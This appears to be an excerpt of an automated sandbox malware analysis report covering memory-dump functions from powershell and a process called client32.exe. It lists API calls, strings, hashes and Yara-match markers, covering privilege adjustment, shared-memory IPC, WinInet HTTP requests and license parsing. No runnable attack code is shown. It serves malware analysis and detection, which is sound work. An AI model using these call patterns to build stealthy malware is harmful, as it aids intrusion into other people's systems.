GetFileAttributesW.KERNEL32 ref: 00007FFEB7118367

Memory Dump Source

Source File: 0000000C.00000002.2022643969.00007FFEB7110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7110000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: caa7592589eaf94c6e66f19aeea19c736c9dcf31aa93b2990b8166422fd8ed7e
Instruction ID: 7bf78860579a3973f81d29cbf142f446737156f42ac7a09f8ff823c8299e5bef
Opcode Fuzzy Hash: caa7592589eaf94c6e66f19aeea19c736c9dcf31aa93b2990b8166422fd8ed7e
Instruction Fuzzy Hash: 2441023190CA1D8FDB59DB6C88496F9BBE0EF55320F04827BD009D7AA1CF74A81687A1

Function 00007FFEB7118B1A Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ComputeAccessTokenFromCodeAuthzLevel.ADVAPI32 ref: 00007FFEB712CE9E

Memory Dump Source

Source File: 0000000C.00000002.2022643969.00007FFEB7110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7110000_powershell.jbxd

Similarity

API ID: AccessAuthzCodeComputeFromLevelToken
String ID:
API String ID: 132034935-0
Opcode ID: 4841bef09574e4edd2f3270fa95eee1970d42895945ec1dbb3ab65a2a0dff26e
Instruction ID: b757a1d34620ec37bed779e5b399f110728b44fc8a83d10f33eb25a56ebf08f7
Opcode Fuzzy Hash: 4841bef09574e4edd2f3270fa95eee1970d42895945ec1dbb3ab65a2a0dff26e
Instruction Fuzzy Hash: 1E31D471908A1C8FDB08DF5CD8496F97BE1FB69321F00422FE049E3651DB70A8068BC1

Function 00007FFEB7A43899 Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f76ae1b8e7da8d82cb8992b522bb659d5c3e35856a3bed09ed0d06c4d4b506
Instruction ID: 4c34a5269db18d4bec6071d24e623194a86747297d5b627aed2df0296adf0dbc
Opcode Fuzzy Hash: 99f76ae1b8e7da8d82cb8992b522bb659d5c3e35856a3bed09ed0d06c4d4b506
Instruction Fuzzy Hash: 0451B37090968A8FDB85EF28C8146A97BF0FF59300F1445BAD109CB5B3CB39A951CB40

Function 00007FFEB7746015 Relevance: .2, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2034013084.00007FFEB7740000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 985465809cd0843534b6771798007f8a3656df69fc3f2fcca9f93fb8deb30b33
Instruction ID: b08aa69c712754f14b6f75d56d80f8bc3ac75ab12959a9e556e9dcd7efb14849
Opcode Fuzzy Hash: 985465809cd0843534b6771798007f8a3656df69fc3f2fcca9f93fb8deb30b33
Instruction Fuzzy Hash: 6B519F3091894C9FDB85EF58C498BB97BF1FF58315F140169E84ED72A2CB34A891CB41

Function 00007FFEB7A43835 Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0a035db2bb4c0ac75c8eeaf4644c8de3bfc7d4cc0afbdda30018748990e1b85
Instruction ID: d3c2877cbd3216767efd7929c49314de3dd383159da6a9fe67411288c07b0ebd
Opcode Fuzzy Hash: a0a035db2bb4c0ac75c8eeaf4644c8de3bfc7d4cc0afbdda30018748990e1b85
Instruction Fuzzy Hash: 4B41843090964A8FDB89EF18C8646697BA1FF55305F5445FDD109CB5B3CB39E851CB40

Function 00007FFEB7A40F39 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e2b687d1c36fadb84c1191789909b11f20644cf4ab7614dedcc1180b2152bc6
Instruction ID: 4fe4a4d0ba2eed9261aa68d5d86e4cd8150fe02ac7facdec2457d20e52a97894
Opcode Fuzzy Hash: 0e2b687d1c36fadb84c1191789909b11f20644cf4ab7614dedcc1180b2152bc6
Instruction Fuzzy Hash: BC31A13150CA4C9FDB49DBA8C845BE9BBF0FF56320F04426FD049C3562D765A456CB51

Function 00007FFEB774814F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2034013084.00007FFEB7740000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3b8b8a122360d5a35b7b5c2e97e4036b79d972602e0021be878accee52c3f6e
Instruction ID: 1c47bfce630e057184f34b6f1539891129f5dedf1df24e87f5dd53fd053a7328
Opcode Fuzzy Hash: b3b8b8a122360d5a35b7b5c2e97e4036b79d972602e0021be878accee52c3f6e
Instruction Fuzzy Hash: 9B112724B1DA090BE354A65CA4423B573D1EF85720F5006BEE98E837B6CD19BC1283C2

Function 00007FFEB7410A7F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2027108572.00007FFEB7410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ab425a1c4c76b8a80d32aae94e95a85f96c5a4d316315626529a828996a5d3
Instruction ID: d14cf795e8713ffc585f44020c19faa2e2a11a321a06c3bdf1a180a71dbb33f8
Opcode Fuzzy Hash: 95ab425a1c4c76b8a80d32aae94e95a85f96c5a4d316315626529a828996a5d3
Instruction Fuzzy Hash: BE012622B0DA8A4FE7A6A32C04162BCBEC0EF6623675801FFC64DD39B2DE189C514351

Function 00007FFEB787248C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2036351067.00007FFEB7870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461eeb77397d25ed6731aca194b8ca34aa3b2c9a9382a9bb2665e170493c9b29
Instruction ID: 511b8125136074356a524d6b358812c07bde787b3cb4e26d8d085fb366bc8428
Opcode Fuzzy Hash: 461eeb77397d25ed6731aca194b8ca34aa3b2c9a9382a9bb2665e170493c9b29
Instruction Fuzzy Hash: 46F0123032D8194FDB88EB1CD465AB577D1EBA4365B2401BDD40ACB695CE26AC51C781

Function 00007FFEB7A406F9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f71b6fa98e2f7d76d914adb39b7795f4a62c65514db70af746b09ddd8be689
Instruction ID: b4f0906ea2959e8f31331bc0b0a036496527acc85615b5e297c3ed2a306cc34b
Opcode Fuzzy Hash: f9f71b6fa98e2f7d76d914adb39b7795f4a62c65514db70af746b09ddd8be689
Instruction Fuzzy Hash: 76E0753031880E9FDB84EF2CC459A6977E1FF68301B110576A55EC76B2DE21EC51CB11

Function 00007FFEB7410AC0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2027108572.00007FFEB7410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d159051816fa812653b9df7b396cdb266f50ed3ee6682968347ad4b42b99b7
Instruction ID: 6e25b786c46251513f4b316f0dd73c82b68768cdf264e5e9a5fe8540629df955
Opcode Fuzzy Hash: f7d159051816fa812653b9df7b396cdb266f50ed3ee6682968347ad4b42b99b7
Instruction Fuzzy Hash: 77D01720E1AD2E4EE795A73C0119238A4C1EF98246BA002B8940ED3AB2DD28DC428240

Non-executed Functions

Function 00007FFEB75C11A0 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2030458466.00007FFEB75C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB75C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb75c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9cf49a16f59b43f195a1d10755edca9cc3442ef18ef68be512bfe1d10623401
Instruction ID: 57d660bbe20a7699724fbeb6076003aecca1708749cb3c66a867d0d6698a80ae
Opcode Fuzzy Hash: d9cf49a16f59b43f195a1d10755edca9cc3442ef18ef68be512bfe1d10623401
Instruction Fuzzy Hash: E2226070A1C6484FD798EB7C802537AB6D2EF89205F5486BDD14EC7AB3DE3998428741

Function 00007FFEB75C03CF Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2030458466.00007FFEB75C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB75C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb75c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5370ce8d453af85e723e6fd2527a0a6cf59dce5b45a4dcd372de9cf426c6f826
Instruction ID: c9c2803149f44cfff5e66179813593d6c718e1f4faa7d6d64c1067503c807867
Opcode Fuzzy Hash: 5370ce8d453af85e723e6fd2527a0a6cf59dce5b45a4dcd372de9cf426c6f826
Instruction Fuzzy Hash: 12C1AD70A1CA845FD358EB3C845527AB7E1EF89205F548ABED08EC76B3DE399842C741

Function 00007FFEB75C0EB2 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2030458466.00007FFEB75C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB75C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb75c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3a51621bf69b9252a8a7112f677ac716043452d803d60085256e440f3c9980
Instruction ID: de6d8809b9649dc9af558c59fabde4eb852b6e5bd6e856fcd0d35791a47255f5
Opcode Fuzzy Hash: 6d3a51621bf69b9252a8a7112f677ac716043452d803d60085256e440f3c9980
Instruction Fuzzy Hash: FF913170A1C6885FD349EB7C406527ABBD1EFCD215F548ABE908EC76B3DE3998028305

Function 00007FFEB75C018E Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2030458466.00007FFEB75C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB75C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb75c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9fedb2b806451dce7a0e7fa568c42236ea1b4ab1368ccabc3321b3dca7431f
Instruction ID: 70454ccb6b70f5b0ea0fda12781f3de84c2b0b14930c7e4c371cb210a1ddc477
Opcode Fuzzy Hash: 5d9fedb2b806451dce7a0e7fa568c42236ea1b4ab1368ccabc3321b3dca7431f
Instruction Fuzzy Hash: 5F918B30A2CA498FD758EB3C8415269B3E2EF89205F544ABDD14EC7AB3DE3998528741

Function 00007FFEB7A41EB3 Relevance: 6.4, Strings: 5, Instructions: 158COMMON

Download Yara Rule

Strings

^^'1, xrefs: 00007FFEB7A41EB3
^^i, xrefs: 00007FFEB7A4203B
^^6), xrefs: 00007FFEB7A41EF3
^^>!, xrefs: 00007FFEB7A41F33
"[%, xrefs: 00007FFEB7A41F2E

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID: "[%$^^'1$^^6)$^^>!$^^i
API String ID: 0-2909005086
Opcode ID: 027434a31d833dca80bedcadc21c14b71680cda84b9ca3ba7c9551a80a3f7093
Instruction ID: 3b9c80d204aa6f390c05e071d01d5e7d40398c93c54724d39fb65148227298d8
Opcode Fuzzy Hash: 027434a31d833dca80bedcadc21c14b71680cda84b9ca3ba7c9551a80a3f7093
Instruction Fuzzy Hash: 9E414A23E0A6236ADA11BF7CB14A1DDFF91EF00775B104077E7888A053ED286096A3C5

Function 00007FFEB7A41E99 Relevance: 5.2, Strings: 4, Instructions: 154COMMON

Download Yara Rule

Strings

^^i, xrefs: 00007FFEB7A4203B
^^6), xrefs: 00007FFEB7A41EF3
^^>!, xrefs: 00007FFEB7A41F33
"[%, xrefs: 00007FFEB7A41F2E

Memory Dump Source

Source File: 0000000C.00000002.2039707104.00007FFEB7A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7a40000_powershell.jbxd

Similarity

API ID:
String ID: "[%$^^6)$^^>!$^^i
API String ID: 0-147050912
Opcode ID: 6cd4f7cf45751e1162e895e59ecc6e1926a4dbe1254189d9c5536ce99a0c16c6
Instruction ID: 0dd40ad29a8237a7673d26791da5265459eb6d16dc525aced184fb0550e78a94
Opcode Fuzzy Hash: 6cd4f7cf45751e1162e895e59ecc6e1926a4dbe1254189d9c5536ce99a0c16c6
Instruction Fuzzy Hash: B0414B23E0A62366DE11BF7CF5461E9FB91EF00376B104077E7888A052ED2960D6A3C5

Analysis Process: client32.exePID: 7368, Parent PID: 7944COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	91

Executed Functions

Function 1109E190 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D440: GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,59FD48C0,00080000,00000000,00000000), ref: 1109D46D
Part of subcall function 1109D440: OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
Part of subcall function 1109D440: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
Part of subcall function 1109D440: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,59FD48C0,00080000,00000000,00000000), ref: 1109E225
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E23E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E249
GetVersionExA.KERNEL32(?), ref: 1109E260
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2CE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E2E3
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2F4
CreateFileMappingA.KERNEL32(000000FF,11030063,00000004,00000000,?,?), ref: 1109E330
GetLastError.KERNEL32 ref: 1109E33D
LocalFree.KERNEL32(?), ref: 1109E366
LocalFree.KERNEL32(?), ref: 1109E373
GetLastError.KERNEL32 ref: 1109E390
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E3AE
LocalFree.KERNEL32(?), ref: 1109E3D9
LocalFree.KERNEL32(?), ref: 1109E3E6

Part of subcall function 1109D3A0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E27E), ref: 1109D3A8

Part of subcall function 1109D3F0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E412
LocalFree.KERNEL32(?), ref: 1109E4DB
LocalFree.KERNEL32(?), ref: 1109E4E8
_memset.LIBCMT ref: 1109E500
GetTickCount.KERNEL32 ref: 1109E508
GetCurrentProcessId.KERNEL32 ref: 1109E5B4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E5CF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109E61B
GetLastError.KERNEL32 ref: 1109E624
GetLastError.KERNEL32(00000000), ref: 1109E62B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E660
GetLastError.KERNEL32 ref: 1109E669
GetLastError.KERNEL32(00000000), ref: 1109E670
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109E6A6
GetLastError.KERNEL32 ref: 1109E6AF
GetLastError.KERNEL32(00000000), ref: 1109E6B6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E6EB
GetLastError.KERNEL32 ref: 1109E6FA
GetLastError.KERNEL32(00000000), ref: 1109E6FD
LocalFree.KERNEL32(?), ref: 1109E725
LocalFree.KERNEL32(?), ref: 1109E732
GetCurrentThreadId.KERNEL32 ref: 1109E763
CreateThread.KERNEL32(00000000,00002000,Function_0009DD20,00000000,00000000,00000030), ref: 1109E77D
ResetEvent.KERNEL32(?), ref: 1109E7AC
ResetEvent.KERNEL32(?), ref: 1109E7B2
ResetEvent.KERNEL32(?), ref: 1109E7B8
SetEvent.KERNEL32(?), ref: 1109E7BE

Strings

cant create thread, xrefs: 1109E78A
S:(ML;;NW;;;LW), xrefs: 1109E288
IPC(%s) created, xrefs: 1109E7C8
warning map exists, xrefs: 1109E490
cant map, xrefs: 1109E3E8
Error filemap exists, xrefs: 1109E4BD
map exists, xrefs: 1109E4EA
SeSecurityPrivilege, xrefs: 1109E1FA
Cant create event %s, e=%d (x%x), xrefs: 1109E639, 1109E67E, 1109E6C4, 1109E707
cant create events, xrefs: 1109E7F4
Error cant create events, xrefs: 1109E7E7
Error creating filemap (%d), xrefs: 1109E344
Error cant map view, xrefs: 1109E3BB
Info - reusing existing filemap, xrefs: 1109E479
cant create filemap, xrefs: 1109E375

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction ID: e0f3534def007632db5cc521867dfefedb1bc63d92e862916d16df31d0e36df5
Opcode Fuzzy Hash: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction Fuzzy Hash: 221282B590026D9FE724DF61CCD4EAEF7BABB88308F0049A9E11997244D771AD84CF51

Function 11029590 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,59FD48C0,757323A0,?,00000000), ref: 110295C5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102965F
SetLastError.KERNEL32(00000078), ref: 11029673
_malloc.LIBCMT ref: 11029697
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 110296B1
GetLastError.KERNEL32 ref: 110296D2
_free.LIBCMT ref: 110296DE
_malloc.LIBCMT ref: 110296E7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029701
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 1102973B
InternetOpenA.WININET(11194244,?,?,000000FF,00000000), ref: 1102975A
SetLastError.KERNEL32(00000078), ref: 11029764
SetLastError.KERNEL32(00000078), ref: 11029771
SetLastError.KERNEL32(00000078), ref: 1102977B
_free.LIBCMT ref: 11029785

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029805
SetLastError.KERNEL32(00000078), ref: 1102981E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029831
InternetConnectA.WININET(000000FF,11199690,00000050,00000000,00000000,00000003,00000000,00000000), ref: 1102984E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102986A
SetLastError.KERNEL32(00000078), ref: 11029883
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 110298A9
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 110298FD
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 11029A63
SetLastError.KERNEL32(00000078), ref: 11029B30
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029B82
SetLastError.KERNEL32(00000078), ref: 11029B99
FreeLibrary.KERNEL32(?), ref: 11029BAA

Strings

InternetOpenA, xrefs: 11029735
WinInet.dll, xrefs: 110295BD
HttpOpenRequestA, xrefs: 110298A3
InternetConnectA, xrefs: 1102982B
InternetQueryOptionA, xrefs: 110296AB, 110296FB
GET, xrefs: 110298C9
HttpSendRequestA, xrefs: 110298F7
InternetCloseHandle, xrefs: 11029659, 110297FF, 11029864, 11029B7C
://, xrefs: 110297A5
InternetErrorDlg, xrefs: 110299A0
HttpQueryInfoA, xrefs: 11029943
InternetQueryDataAvailable, xrefs: 11029A5D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: df85d3a1662e4d01aa062a95c5ecba07d4916ff71ea5790ba3812fcab14611a4
Instruction ID: e81a0880bf89439be6f70403065d0babe3f5b16467f55efefddb7e1ac6149969
Opcode Fuzzy Hash: df85d3a1662e4d01aa062a95c5ecba07d4916ff71ea5790ba3812fcab14611a4
Instruction Fuzzy Hash: 5E127FB0D04269EBEB11CFA9CC88A9EFBF9FF88754F604569E465E7240E7705940CB60

Function 11061C90 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11144EA0: GetLastError.KERNEL32(?,02FBB818,000000FF,?), ref: 11144ED5
Part of subcall function 11144EA0: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,02FBB818,000000FF,?), ref: 11144EE5

_fgets.LIBCMT ref: 11061DC2
_strpbrk.LIBCMT ref: 11061E29
_fgets.LIBCMT ref: 11061F2C
_strpbrk.LIBCMT ref: 11061FA3
__wcstoui64.LIBCMT ref: 11061FBC
_fgets.LIBCMT ref: 11062035
_strpbrk.LIBCMT ref: 1106205B

Strings

_checksum, xrefs: 1106240F
%s.%04d.%s, xrefs: 110622A9
cd_install, xrefs: 1106261B
shrink_wrap, xrefs: 11062636
Client, xrefs: 11062262, 110622A4
expiry, xrefs: 11062730
enforce, xrefs: 11062136
Expired, xrefs: 1106296B
ACM, xrefs: 11062697
product, xrefs: 11062652
licensee, xrefs: 11062A53
_License, xrefs: 11062356, 11062414, 1106242E, 110625B6, 11062620, 1106263B, 11062657, 11062751, 11062970, 11062A58
inactive, xrefs: 110625B1
?starT, xrefs: 11062771, 1106277D
/- , xrefs: 110627FE, 11062831, 11062864
?expirY, xrefs: 11062768
_version, xrefs: 11062429
%c%04d%s, xrefs: 11062184
start, xrefs: 11062739, 11062750
_include, xrefs: 110621C9
defaults, xrefs: 11062116

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
